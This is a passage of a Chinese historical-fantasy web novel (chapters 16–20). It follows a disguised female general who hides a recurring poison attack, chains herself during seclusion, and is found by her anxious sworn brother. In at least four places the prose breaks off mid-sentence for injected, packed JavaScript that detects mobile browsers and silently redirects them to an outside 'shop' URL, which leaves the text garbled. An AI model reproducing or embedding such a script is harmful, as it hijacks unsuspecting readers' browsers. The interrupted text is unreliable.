木窗应声而裂,尖锐的木刺裹挟着狂暴的劲风,如同暴雨般激射而出。木刺纷飞中,一道冰冷刺骨的剑芒,直指姜六航眉心。 姜六航瞳孔骤缩,身体瞬间绷紧如弓弦,几乎在窗破的同一刹那,整个人缩成一团,滚到墙边的一丛荒草里。 才刚躲好,师父的身影从窗口跃出,靴底重重踏在她方才藏身的地面上,从草叶缝中,她对上了一双燃着愤怒的眼。 师父落地处,距离她藏身的角落,不足三尺。 而这时草丛犹在摇摆,“簌簌”声未歇。 姜六航的心几乎要蹦出胸腔。 不会被师父发现吧? 16. 第 16 章 这一瞬间,姜六航连呼吸都停滞了,心脏在胸腔里擂鼓般撞击着肋骨,震得耳膜嗡嗡作响。 她眼睫一眨不敢眨,透过草丛的缝隙,死死盯着那近在咫尺的狂怒身影。 师父的脚,就停在她眼前,溅起的灰尘扑面而来。 草丛被她滚入带起的摇摆还未停止,“簌簌”声仿佛在她耳边无限放大。 好在师父似乎已被滔天怒意冲毁了理智,对周遭异响毫无所觉。那含着血丝的眼只是从她的藏身处一扫而过,下一瞬,身影已如离弦之箭,纵身扑向院墙另一头,几个起落便消失在屋宇之后。 姜六航绷紧的身子这才猛地一松,随之而来的,是心底深处翻涌的酸涩。 师父对她,竟是如此深切地痛恨,恨到连基本的警惕都丧失了。 确认师父进了另一间房,暂时不会出来,姜六航缓缓吐出一口浊气,重新挪回窗下。 屋内,从庸叔叔气鼓鼓地哼了几声,弯腰捡起木棍,又泄愤似的狠狠砸进药盆,溅起几点浑浊的药汁。 眼前是从庸叔叔熟悉的面容,头发依旧梳得一丝不苟,鲜亮的红衣格外惹眼,和记忆中那个无限溺爱她的人重叠。 姜六航下意识地摸向袖中的香囊,指尖触到那两颗圆润的药丸。 增气丹、回春丹、龙影面具,都是她不问自取。 拿回春丹,是恐怕爹娘重伤。龙影面具,是要躲避追兵。 那时,她甚至来不及给从庸叔叔留下一封信,只想着快一点,再快一点……杨承在攻打玉灵县,数百里之外的爹娘,危在旦夕。 方三不过是在她之后,拿走了最后一颗回春丹。 “从庸叔叔……”呼唤卡在喉咙里,她猛地闭上眼,指甲深深掐进掌心。 再看下去,她怕自己会忍不住冲进去。 姜六航只犹豫一瞬就下了决断,从袖子里抽出手。 此时归还丹药,恐引出其它事端。 来日方长,不急在这一时。 姜六航强行压下翻腾的情绪,转身,如一道轻烟,悄无声息地退开。 她在院子里捡起一颗石头,掏出怀中那封只写了一行字的信,扯了一根草,把信绑在石头上。 准备好后,潜行至师父所在的屋外。 “滋滋滋——”里面传出规律的金属摩擦声。 姜六航屏息,从门边探出半只眼。 师父背对着门,脊背挺直,正全神贯注地打磨着破山剑,寒光在剑刃上流淌。 就是此刻! 姜六航手腕一抖,石头挟着风声直射向里面人的后心。 同时,她足尖发力,身形如电,几个起落已攀上高墙。 “谁!”黄超暴喝。 同时,石头撞在墙上,发出一声闷响。他侧身避过石头的瞬间已抄剑在手,疾风般冲出房门。 抢出门外,院子里没人,他纵身跃到围墙上,转头四顾,巷子里空空荡荡,也不见人影。 他脸色铁青地跳下,大步返回屋内,目光落在滚落的石头上。 弯腰,拾起,粗暴地扯断绑着的草,展开信纸。 一行字迹撞入眼帘:师父,徒儿在通州断云隘恭候。 是她! 劣徒! 黄超瞳孔骤然收缩,捏着信纸的手指用力得泛白,手背青筋暴起。 熟悉的字迹,熟悉的从左往右的顽皮写法。 一股狂怒升起,呼吸瞬间变得粗重。 “怎么了?”孙从庸听到动静,跑过来问。 “闯进来一个贼人。”黄超没转身,背对着他道。 “人呢?” “跑得太快,没捉住。” “你手上拿着什么?可是贼人落下的东西?” 黄超把信纸攥入掌心,紧握成拳,指关节捏得咯咯作响。他竭力压下翻腾的气血,转过身,做出平常的样子,把另一只手上的石头递过去:“贼人扔过来的,虚张声势罢了。” 孙从庸接过石头,翻来覆去地看,又狐疑地看看空荡的院子:“扔块石头?打草惊蛇?这贼人莫不是个傻子?” 黄超紧抿着唇,牙关紧咬,没有应声。 孙从庸撇撇嘴,随手把石头扔在墙角,嘟囔着“莫名其妙”,转身欲回屋继续捣他的药。 “从庸,”黄超的声音带着一丝不易察觉的紧绷,“此间事已了。我与人有约,在通州比剑,这就动身。” “哦?”孙从庸脚步一顿,有些意外,但江湖人本就随性,于是应道,“行,你去吧。我还得蹲几天,非得把方三抓住不可!” “这回真能成?”黄超皱眉,语气带着不信。 “能!”孙从庸梗着脖子,“我请了很多人,布下天罗地网,他插翅难飞!” “你上次也是这样说的。”黄超毫不留情地揭穿。 孙从庸被噎住,恼羞成怒:“哼!他被我捉住是福气,不然,怎么死的都不知道!” 黄超不解。 “你觉得,增气丹,他吃下没有?”孙从庸眼中闪过一丝快意。 黄超不假思索:“吃了。” 那样的神药,哪个武者能忍住? 那本是从庸为逆徒准备的,他还记得,丹药被盗走后,从庸暴跳如雷的模样。 “哈哈哈!”孙从庸快意地大笑起来,笑声在空寂的荒园里回荡,“那他就是在等死!” 黄超茫然:“等死?” 增气丹吃了会死?从庸不是准备制好了给劣徒吃的吗? “是药三分毒,增气丹何等霸道?服下三天之内,必须连服六副我特制的汤药疏导药毒,否则,哼哼……”孙从庸顿了顿,脸上透出阴狠。 黄超不觉紧张,追问道:“否则怎样?” “毒性郁积经脉,日积月累,数年之内,必死无疑!” 黄超倒抽一口冷气。 “我来算算……”孙从庸扳着指头,如同在计算猎物的死期,“若他到手就吃了,最迟明年四月,必死无疑。说不定更早,第一次提前发作就熬不过去自尽了。” 黄超:“自尽?” “增气丹毒性发作之时,如万蚁噬心,刀斧加身,常人不能忍。吃下增气丹的第四天,毒性便会初次反噬,之后每半年发作一次。这时性情坚毅之人,忍忍还能过去,但到后来,毒性积累到极点,发作开始提前,五个月、三个月、一个月发作一次,那时的疼痛,不啻于遭受地狱十八道酷 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孙从庸烦躁地道:“你不知道,他就是忍得下也不行,身子受不住。从第一次提前发作,每一次都是一道阎门关,撑不到明年。” 黄超哑然。 —— 另一边,姜六航飞快地跑出巷子,见后面没人追来,这才慢下速度。 999小心翼翼地试探着唤道:“姜衡?” “嗯。”姜六航夸道,“不错嘛,猜到了。” “统又不傻!”999很是不满宿主的小瞧,抱怨了一句,又问道,“不过……宿主,你既然不想认,躲着他们不就好了?干嘛非得冒险把你师父引开?还有,为什么只引开你师父,不管鬼手神医?” 姜六航没有回答,只不动声色地闪身,藏到路边一堵半塌的土墙后。 999:“宿主?又怎么了?” 姜六航:“等着。” 蹄声嘚嘚,一匹骏马冲出小巷,马背上正是黄超。他脸色沉凝,目光如电扫过街道,旋即一夹马腹,朝着城门而去。 姜六航跟在后面。 所幸街上有行人,马跑得不快,姜六航跟得很轻松。 马出了城,往通州方向而去。 姜六航止步,目送师父走远,这才朝着城墙走去。 她感觉到身体里的疼痛逐渐加剧,快要压制不住了。 今天一大早,她就感觉到这次的疼痛来势汹汹,到这会儿已经很明显。和以往比起来,疼痛感要强烈得多。 其实上次就有这样的趋势,她担心剧痛之下伤害自己,于是买了锁链,放在衣柜里,打算下次发作时把自己锁住。 本准备明天闭关,看这情形,可能要提前到今晚了。 路上,999在姜六航脑子里发问:“应该很多人认得赤霄剑客,这五年怎么没人认出姜帅就是赤霄剑客?” 姜六航反问:“你觉得呢?” 999笃定道:“肯定是你偷偷找大夫换脸了!江湖话本里都这么写,易容术!” 姜六航:“……” —— 酉时初(下午五点多钟),姜六航带着两个近卫回到城外的军营,她掀开自己营帐的门帘,脚步却微微一顿。 17. 第 17 章 “大哥。”姜六航掀起厚实的毡布,进入帐篷。 寒气被挡在帐外。帐内炭火正旺,桌后那人看着一份公文,听见声响抬起了头。 “回来了?”他搁下笔,脸上是惯常的温润笑容,目光极快地将进账之人从头到脚扫了一遍,道,“吃了吗?” “还没呢。”姜六航笑道,“正饿得慌。” 秦信起身,唤道:“冯简。” 近卫长应声而入,带着人将热气腾腾的四菜一汤摆上小桌。 姜六航看了一眼,都是她喜欢吃的! “来,吃饭。” 听到大哥招呼,姜六航答应着,快速到桌前坐下。 目光掠过桌上的菜肴,她心里冒出一点异样感。 不知从哪天开始,大哥一手包办了她的衣食住行,事无巨细,面面俱到,对她的喜好一清二楚。 这哪像结拜兄弟?倒像是…… 一个荒谬念头猛地从她脑海里蹦出来:大哥该不会在拿她当儿子养吧? 她赶紧摇头把这念头甩出去。 不至于,大哥也就比她大两岁。 可…… 正胡思乱想着,一只油亮喷香的鸡腿稳稳落进她碗里。 姜六航抬眼,恰撞进那双温润含笑的丹凤眼里,见自己望过来,浓密的睫毛微微一颤,“怎么了?吃呀。你活动量大,要多吃点。” 姜六航竭力地回忆着,小时候爹娘给自己夹菜时,也是这样的神情吗? 好像相似,又似乎哪里不同。 她向来不是憋闷的性子,干脆搁下筷子,目光直直看向对面:“大哥,你把我当什么人?” 话音落下的瞬间,帐内空气仿佛凝固了。 秦信握着筷子的指节骤然一白,眼底深处划过一丝暗芒,转眼又消失,快得让姜六航以为是错觉。他脊背挺得笔直,声音低沉,带着一丝不易察觉的紧绷:“什么意思?” 姜六航以为大哥没听明白,解释道:“就是,在你心里,我算是你什么人?兄弟?下属?同伴?” 她看着大哥,隐约觉得大哥脸色有些发白,眼底深处含着恐惧,好笑地在心里摇头。 今天是怎么了?冒出这样一些莫名奇妙的感觉?莫非是疼痛影响脑袋,产生了幻觉?可现在还没疼到难以忍受,神智糊涂的时候啊。 “自然是兄弟。”秦信的声音沉缓,像是从胸腔里压出来的,“一辈子的好兄弟。” 姜六航再看时,大哥泰然自若,眼中笑意柔和,果然先前是看差了。 “好!”她举起手掌,“一言为定!我们做一辈子好兄弟,击掌为誓!” 秦信的目光在她举起的手掌上停顿了一瞬,那短暂的迟疑快得几乎抓不住。他顺从地抬手,与她清脆地击了三下。 姜六航心满意足,继续吃饭。 掌心里仿佛还残留着刚刚接触到的温度,秦信悄然收拢五指,紧握成拳。 他垂下眼睫,浓密的阴影遮住了眸底翻涌的汹涌暗潮。 他心里有一只猛兽,要竭尽全力才能关住。 一旦放出,将再也难以压制。 吃过饭,近卫们收拾桌子,姜六航握着刀柄,感觉到身体里连绵不绝的疼痛,皱了皱眉。 每半年一次的疼痛显然不正常,她悄悄找大夫看过,都说是气血不畅,开了些药,她避着人偷偷摸摸喝了,也没效果。 都是些庸医! 等和从庸叔叔相认,让从庸叔叔看看,就没事了。 她压下烦躁,问道:“大哥,闭关的地方准备好了吗?” “好了。”秦信道,“明早带你去。” “我收拾下,今晚就过去。”姜六航语气带着几分急切。 秦信拧起眉头:“怎么就要过去?” 姜六航眨眨眼,心虚地道:“这回感悟很深,感觉要突破了!早些去稳妥。” 秦信凤眸微眯,怀疑地看着她。 姜六航努力表现得自然一点,就在她快要坚持不住的时候,秦信点头道:“好。那边用具齐全,带几件换洗衣裳便是。” 姜六航如蒙大赦,立刻起身去翻衣箱。随手扯了块包袱皮,胡乱抓了几件衣裳往里一塞,就要打包。 旁边伸过来一只手轻轻拍开她:“我来。” 她抬头,对上大哥无奈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673446|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,讪讪地摸了摸鼻子,乖乖退开。 其实只有三个晚上,随便拿几件衣裳就行,但大哥是个强迫症患者,做事非得有条有理、细致周全,见不得她这样凑合。 秦信将衣物一件件抚平、叠好,棱角分明,动作一丝不苟。又取了干净的罗袜、毛巾、手帕,整齐码放在衣物旁,这才仔细包裹起来。 一边叮嘱:“若是运功出了汗,及时拿毛巾擦干,再换衣裳。” “慢慢来,不要急于求成,安全为重。” 姜六航一一答应,看着大哥为她忙碌。 平日做事干脆利落的人,此刻却不厌其烦地嘱咐着,一点都不像那个平日杀伐决断、威仪深重的总督大人。 大哥对她可真好! 这世上,再找不出第二个对兄弟如此掏心掏肺的兄长了! 临出门,姜六航快步走到衣柜旁,取出一个包裹,提在手里。 秦信的目光骤然一凝,心里沉了一沉,升起一股强烈的不安和担忧。 那是上午搜出的那个包裹,里面装着锁链。 义弟闭关练功,为何要带着锁链? 他想问,目光触及义弟脸上那抹刻意回避的闪躲时,终究是将到口的询问硬生生咽了回去。 —— 闭关的地点距离军营半里路,行到半路,姜六航忽而听到一道充满怒气的声音:“我一片苦心,全是为了你好,你怎如此不识好歹!” “是为我好?还是为你裴家的前程铺路?”一道讥诮、愤怒的声音道,“我还一直感激父亲,从不催逼我嫁人,我还和将军说,我父亲是世上少有的开明之人,呵!却不想,父亲竟存着这样的念头!” 姜六航:“???” 那是裴祥光和裴佑两父女的声音。 两人有意识地压低了声音,但耐不住她功力高、耳力好啊! 她看向身侧,大哥一脸疑问地回看她,显然并未察觉远处刻意压低的争执。 姜六航眼中闪过一丝狡黠和好奇,一把拉住大哥的胳膊,蹑手蹑脚往那头走去。 她倒要听听,裴祥光到底存着什么念头,让裴佑这样恼怒。 18. 第 18 章 姜六航拉着秦信,屏气凝息朝争吵声源头摸去。秦信默契地放轻脚步,躬身配合。好在树木高大,荒草丛生,足有半人高,为他们提供了绝佳的掩护。 两人悄无声息地潜近,最终在距离裴家父女二十余步的一簇茂密草丛后伏下身子。 透过草叶缝隙望去,只见裴祥光与裴佑正站在一棵巨树旁对峙,气氛剑拔弩张。酉时正(下午六点)的天色已显昏暗,看不清他们脸上的细节,但那紧绷的姿态、激动的语气无不昭示着这场对话的激烈。 “我是为你好!”裴祥光低吼。 “别打着为我好的名义替自己和家族谋利。”裴佑马上顶回去。 “你不是家族中的一个吗?”裴祥光愤怒地挥手,“家族荫蔽荣养你,你不该为家族出力吗?不该为家族挣荣耀吗?” “我冲锋陷阵,也立下了一些功劳,日后定能封官进爵,位列朝班,这不是在为家族挣得荣耀吗?以后家族若有难处,我必鼎力相助,家族中若有良才,我必全力支持。我回报给家族的,绝对会对得起家族给我的。”裴佑声音里带着一股锐意,“父亲,我的婚事要我自己做主。我想嫁就嫁,不想嫁就不嫁,想嫁给谁就嫁给谁,想娶谁就娶谁!” 姜六航:“!” 999:“哦豁!” 姜六航满心好奇裴祥光打的什么算盘,可听了半天,关键信息始终云遮雾绕,正心痒难耐,裴佑那句石破天惊的“想娶谁就娶谁”直接砸进耳朵,震得她下意识地张了张嘴,心底忍不住喝彩。 裴将军威武! 这是想学武成将军吗? 她看得入神,手上不自觉使力抓紧了身边人的胳膊。 秦信的手臂瞬间僵硬,仿佛所有的感知都汇聚到了被抓住的那一处。隔着衣物,也能感觉到一股热度传来。 他不敢朝义弟看,只盯着前面的两人,只余光悄悄往身边瞥去。 义弟满脸赞赏,看着堂妹的眼眸晶亮。 秦信的心倏然一沉。 二叔说的没错,义弟确实一直欣赏堂妹,和堂妹意气相投。 若是义弟娶妻,堂妹是最好的人选。 即便不是堂妹,天下之大,总能找到义弟喜欢的女子。 “胡说八道、胡说八道!”那边,裴祥光气急败坏地道。 裴佑的声音带着不容置疑的决绝:“父亲,以我如今在铁骨军中的功绩、地位,你强迫不了我,早早熄了这个心思!” 裴祥光不甘心地叫:“那可是王妃!王妃啊!你嫁过去,生下的儿子就是世袭罔替的王爷!世袭罔替啊!” 姜六航茫然:哪个王的妃? 裴祥光几乎是咆哮着质问:“将军那样的人物你还要挑剔,到底想找个什么样的?” 姜六航:!!!!! 999:“噗——哈哈哈哈哈哈哈哈哈哈!” 脑中仿佛炸开一道惊雷,姜六航瞬间瞪圆了眼睛。 无论如何也想不到,裴祥光打的竟是这个主意! 姜六航猛地扭头,看向身边的人。 大哥脸上没有一点惊讶的神情,显然早知此事。 难怪……难怪前天大哥突然提起给她娶妻的事! 难道大哥也想让她娶裴佑? 姜六航头皮一阵发麻。 此时,裴佑的声音反而平静下来,更显出其中的坚决:“我视将军为师、为友,无关男女之情。奉劝父亲不要太贪心,小心跌下来,连现有的都丢掉。” 说完,她转身就走,全然不顾她爹在背后叫唤,一次都没回头。 裴祥光嘴里骂着“逆女”、“混账”,也跟着走了。 999评价道:“这姑娘不错,如果你真是个男子,娶她很好。” 姜六航:“……你没听见她不愿嫁我吗?” 999:“是哦。” 裴家父女的身影彻底消失在暮色中,姜六航回神,发现自己还紧紧抓着身边人的胳膊。她连忙松开力道,顺势将他拉起来,随即放开了手。 胳膊上的束缚松开,秦信心里一空。 “大哥,”姜六航神色严肃,“你告诉裴大人我不娶妻了吗?” 秦信垂眸:“说了。” 姜六航追问:“怎么说的?” 秦信声音喑哑:“说你暂时不想娶妻。” 姜六航随手拨弄着旁边的草叶,快速思索着。 先前想着过几天就言明女子身份,懒得解释太多。可看裴祥光这上蹿下跳的架势,保不齐在她闭关这三天里闹出什么幺蛾子。必须把话说死! “不是暂时,”她加重语气,斩钉截铁地说道,“是永远!” 秦信猛地抬头,那双总是温润含笑的丹凤眼此刻直直锁住面前的人,眼底翻涌着浓烈得让人心惊的情绪。他脸上的血色仿佛瞬间褪去,薄唇抿成一条苍白的线,喉结上下滚动了一下,才从干涩的喉咙里挤出两个有些变了调的字:“永……远?” 大哥误会了! 被她一句“永远不娶妻”吓着了,脸色这样难看。 没事,就三天,三天后大哥就明白了。 大哥不比裴祥光,一向稳重,不会因此生出事来。 “对,永远!”姜六航迎着他的目光,神色无比认真,“大哥,你务必告诉裴大人,让他彻底断了这份念想,别再白费心思!” 秦信定定看着她,眼眸幽深:“为什么?” 姜六航:“呃。” 理由!快想个理由! “你为什么不娶妻?”秦信脸上重新堆起温煦的笑,但笑意却未达眼底,右手紧紧握住腰间的匕首柄,看着她,以一种刻意放松,仿佛调侃的语气问,“你不想娇妻美妾在怀?不想享鱼水之欢?” 姜六航被他看得头皮发紧,身体的隐痛也在此刻不合时宜地窜上来干扰思绪,她脑子一懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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终于到了。 秦信又叮嘱了一些注意事项,这才离开。 走到门口,他回头,里头的人朝他笑着挥手,他也笑了笑,目光不经意地扫过放在床头的那个装着锁链的包裹。 回身时,他脸上的笑意已经完全收起,肩背不自觉绷紧。 义弟闭关多次,可这次,他心中莫名升起强烈的不祥预感,如同藤蔓,紧紧缠绕心脏。 被利器划破的衣裳、提前一个月的闭关、今晚猝不及防的开始、包裹里不知用途的锁链……种种在他的脑海里搅成一团,让他惶然焦躁。似乎有什么至关重要的东西,正在脱离他的掌控,向未知的方向发展。 19. 第 19 章 姜六航预感的没错,这回的三天比以前都难熬。 冷汗浸湿衣裳和被褥,她咬紧牙关,尝到嘴里的血腥味。指甲掐入掌心,划破皮肉,但那一点点刺痛,和经脉内如万虫噬咬的疼痛比起来,不值一提。 每一分每一秒都是煎熬。 偏偏昏不过去,只能清醒着承受。 “宿主!这绝不是什么感悟武功!”999的声音尖锐得变了调,“你到底怎么了?” “老毛病。”姜六航的声音断断续续,“半年,发作一次。” 999:“什么毛病?看过医生了?” “看了,经脉不畅,吃了药,没用。” “是不是不对症?统给你扫描!立刻就能查清病情!”999急切地提议。 “你还有……这功能?” “是啊,这是给宿主的福利,系统自带健康监测模块,不耗积分,精准扫描全身。” 姜六航心里升起警惕:“连身份一起……扫出来?” “可以设置仅扫描生理指标。”999解释了一句,又不以为然道,“再说,你的身份——姜衡、赤霄剑客、姜六航,统不是都知道?” 姜六航心里道:“不,还有你不知道的。” “宿主,扫吗?” 扫吗? 扫出精准的病情,或许就能对症下药,摆脱这蚀骨之痛。 原计划待天下初定,明年四五月时再与师父和从庸叔叔相认。可这次发作提前且凶猛,这意味着未来的几个月,她可能还要承受数次这样的折磨。 早一刻治好,就再不需忍受煎熬。 而且,那个池州细作被扫描后安然无恙,系统说扫描无害似乎不假,趁机操控身体的可能性很小。 999蓄势待发,做好了扫描的准备,却听到宿主虚弱却斩钉截铁的声音:“不。” “为什么?”999愕然。 为什么? 因为信不过你。 因为不想依赖你。 姜六航紧闭着嘴,没有回答。 “那屏蔽痛觉!宿主,让统给你屏蔽痛觉!” “……不。” “为什么?为什么啊!”999的声音几乎要撕裂,“疼成这样还要硬扛?你!你怎么这么能忍,对自己这么狠?” 世上怎有这样倔强的人? 若不是非紧急情况需宿主授权,统早就强行屏蔽痛觉并扫描了。 第三天,999的声音带上了哭腔:“宿主,求求你,让统扫描吧,屏蔽痛觉也行。宿主!这样下去你会死的!” 然而,回应系统的,依旧是那个坚决的“不。” 姜六航在999“呜呜呜”的哭泣声中挣扎坐起,她的头发已然湿透,一缕缕地垂下,面色苍白,唇上咬出了血痕。 她取出布条,缠绕在手脚上,再拿起铁链,先将双脚牢牢锁在床柱,然后用牙齿咬着铁链,锁住双手,最后,将钥匙远远地抛开。 做着这一切时,她表情冷静,甚至透出冷酷。 “宿主!你要做什么?别吓统!”999惊骇地叫。 姜六航已经没有精力回应,她侧躺下,蜷缩在一起,膝盖抵着胸口,全力对抗体内翻江倒海的剧痛。 当剧痛达到顶峰,她无意识地猛力挣扎,铁链哗啦作响,沉重的木床也随之剧烈震动。若不是这三天里她基本毫无内力,这个床根本困不住她。 不对! 模糊的念头闪过。 这三天里,她在战场上无数次生死之间锻炼出的的直觉几次感觉到死亡的威胁。 必须调整计划。 明天,就去找从庸叔叔。 她还有很多事要做,不能不明不白地死掉。 就在她意识几乎被痛苦吞噬的刹那,一道电子音强行刺入她的脑海:“警告!检测到宿主身体重度异常!强制启动生理扫描!” 同时,999如释重负的声音响起:“终于触发了!” 提示音接连响起: 叮——头部检测完成。 叮——胸部检测完成。 …… 叮——全身扫描完成。检测报告生成。 浅蓝色屏幕浮现眼前,姜六航涣散的目光艰难聚焦,掠过前面大片专业晦涩的描述和分析,落在报告末尾那行刺目的鲜红大字上,瞳孔骤然收缩。 经综合评估:宿主预期生命上限——六个月。 “六个月?宿主!你只有六个月了!明年四月就是极限!”999尖叫起来,“这还只是理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“宿主,报告结论是‘预期生命上限六个月’,那就是说,无论怎么治疗,不会超过六个月。” “未必。”姜六航想。 从庸叔叔号称与阎王夺命,一定有办法! 这天的酉时初(下午五点钟多钟),床的那头突然冲过来一道人影,同时999的声音响起来:“宿主,反派来啦!” 20. 第 20 章 这天下午,中军帐内。 秦信正在帐内处理公务,桌上的文书堆成了小山。 铁骨军虽已拿下九州,但堆积如山的政务、此起彼伏的动荡,让铁骨军的几位首领个个忙碌不堪,尤其是作为总督的他。 本就忙碌,这几天他又刻意让自己没有闲下来的时间,以致眼下都带了浓重的青黑。 他专心致志,连姜子循何时进来都未曾察觉,直到对方轻咳一声。 “总督。”姜子循忧心忡忡地看着他眉宇间的倦色,“冯近卫说,您这几天每晚只睡一个时辰?” 秦信捏着文书的手指一紧,抬眼锐利地扫过缩在门口的冯简。 冯简脖子一梗。 总督再这么熬下去,身子铁定要垮! 姜大人是旧日和州长史,看着总督长大,和总督情分非比寻常,他的话,总督或许能听进去几分。 若不成……将军今夜出关,他明早就去告状! 将军的话,总督从没驳过。 姜子循只作未见总督瞥向近卫的一眼,继续道:“这怎么行?总督若累倒了,这一大摊子事怎么办?” “让姜大人费心了。”秦信揉了揉刺痛的太阳穴,试图驱散脑中那张脸。六航闭关多次,按说不需担心的,可……他强行拉回思绪,声音有些哑,“忙过这阵就好。” “忙过这阵?”姜子循不赞同地摇头,“总督,您向来谋定后动,并非不顾后果之人。眼下事务虽繁杂,却并无燃眉之急,何至于这样糟蹋身体?” 他顿了顿,压低声音,带着试探,“您是在忧心将军?” 猛地被戳破心思,秦信指尖一颤,面上却未露出丝毫异样,坦然承认:“将军此次闭关提前,我心中总是不安稳。” “总督既然如此挂心,何不亲自去探望?”姜子循问道。 秦信摇头:“将军反复交代过,闭关时不许任何人打扰,连饭菜都只送到门口。” 姜子循不以为然:“总督怎可与一般人比?悄悄看一眼,确认无恙便退出来,能碍着什么事?” 秦信眼中闪过挣扎之色,想起那不明用途的铁链,心口便像被什么东西揪紧了。 但沉吟良久,他还是打消了念头,疲惫地摆摆手:“罢了,将军今夜便出关,不差这几个时辰。若再练功的紧要关头惊扰了他,后果不堪设想。” 姜子循看他患得患失的样子,心头忽地涌上一股怪异感。 这情景,怎地如此眼熟? 像极了当年自己想见未婚妻又怕唐突的模样。 这时,裴祥光、迟非晚、谢思礼三人联袂而入,打断了姜子循荒诞的念头。 众人开始议事。 秦信吩咐道:“迟大人,各州府库清点、灾地物资调配,还有军队粮草筹措刻不容缓,劳你费心。” 迟非晚利落应下:“总督放心,账目已在梳理,三日内必有章程。” “谢执法。”秦信看向谢思礼,神色郑重,“新朝律法乃立国之基,你负责带领法家、名士,拟定初稿。这是重中之重,千万要慎重!” 谢思礼眼中瞬间迸发出惊人的光彩,双手激动得微微颤抖:“是!属下必不负所托!” 五年了,从当年被夫家扫地出门、走投无路拦马喊冤,到将军为她主持公道,掷地有声地说出“以法治国”的承诺,这一天终于来了! 迟非晚轻轻拍了拍她紧握的拳,低声道:“恭喜得偿所愿!今后可大展志向!” 谢思礼眼眶微红,重重点头,声音中含着感激:“若没有将军和总督,哪有今日的我?不是将军,我早不知流落到何方,生死都未知。不是总督全力支持,纵我粉身碎骨,也无法与世俗对抗,制定新规。” 裴祥光坐在一旁,目光在帐中众人身上逡巡,心中飞快盘算着即将到来的权力分配。 王之下是公,公之下是侯。在座的几人,大约都能得封公的爵位。 爵位可以传给后代,但要掌握实权,还得担任朝中官职。 将军肯定是统领全国兵马。 谢执法定是担任刑部尚书。 应将军和武将军中应该会有一人担任兵部尚书。 迟大人四年前带着全部家财投入铁骨军,其后一直掌管铁骨军财物。户部尚书的位子,非她莫属。 至于姜大人,却是他的强力对手。 也不知侄儿会把丞相之位给谁? 侄儿用人,向来不管亲疏、贵贱、男女,只重能力。 起先有人激烈反对女子占据重要职位,但侄儿一意孤行,将军又大力支持,在狠狠杀了一批阻挠谢思礼、迟非晚等女子行使职权的人后,再无反对的声音。 儿子是侄儿的堂弟,却也没得到特殊照顾,只在军中担任一个小小的从事,做些杂事。 他虽是侄儿的叔父,却并不比姜大人胜算大。 裴祥光想着,不由得暗中朝姜子循瞥去一眼。 对方一身布衣却气质儒雅,感受到他的视线,回以平和一笑。 裴祥光心头微沉,这份从容,倒像是胜券在握。莫非侄儿早给他透了口风? 议事已毕,秦信正要宣布散场,突然,冯简急步入帐:“总督!沈以贵、石进有急事禀报!” 秦信心头几日来绷紧的那根弦“铮”地一声断了,心中的不祥预感在这一刻无比鲜明。 “快传!” 两个近卫很快进来,脸上满是焦急,沈以贵道:“总督,将军今日的早膳、午膳,都原封未动放在帐门口,这都到晚膳时辰了,将军一天水米未进!” “什么?”秦信霍然起身,带倒了身后的椅子,发出“砰”的一声响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695173|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他脑中一片空白,一瞬间,恐惧如同冰冷的潮水漫上来,淹没了他。 他嘶哑地道:“我去看看。”随即往帐门口走去。 两个近卫和冯简互视一眼,赶紧跟上。 帐内剩下的四人被这突如其来的变故惊得呆若木鸡,好一会才回过神。 “这时候,将军可万万不能有事啊!”裴祥光喃喃道。 谢思礼攥紧了拳,声音坚定:“将军吉人天相!” 迟非晚缓缓转动手腕上的玉镯,蹙眉回忆:“我早年行商,曾见高僧入定,七天不言不动,不饮不食。” 姜子循立刻接口:“将军闭关,想必和那高僧有相似之处,或许正是突破关头,才顾不上吃饭。” 这话像是安慰旁人,又像是在说服自己。 几人议论了几句,按下不安,分头去做事。 —— 秦信通过两层守卫,疾行到傍着山脚围成的帐篷前。 门口火炉上,晚膳依旧静静放着,六航没有取用。 “守在外面!”秦信的声音绷紧,他没有回头,对身后跟上来的三人道。 深吸一口气,他掀开门口的毡帘,闪身进入,极力放轻脚步,绕过屏风,朝里头望去。 眼前的情景让他浑身的血液瞬间冻结。 义弟侧卧在床上,长发贴在脸侧,遮住了大半面容。 偶一抬手,手腕上缠绕着的粗重黑色铁链随着义弟的动作发出沉闷刺耳的“哗啦”声。 “六航——”秦信失声喊道。 再顾不得许多,他几步扑到床边,一手呈保护的姿态环住那人的肩,一手颤抖着落到那人头上。 触到湿漉漉的发丝,他的心更是猛地一沉。 轻轻拨开,露出一张惨白的脸,布满冷汗。 那双总是明亮如星子的杏眸紧闭着,眉头紧拧在一起,下唇被咬得红肿破裂,渗着刺目的血珠。 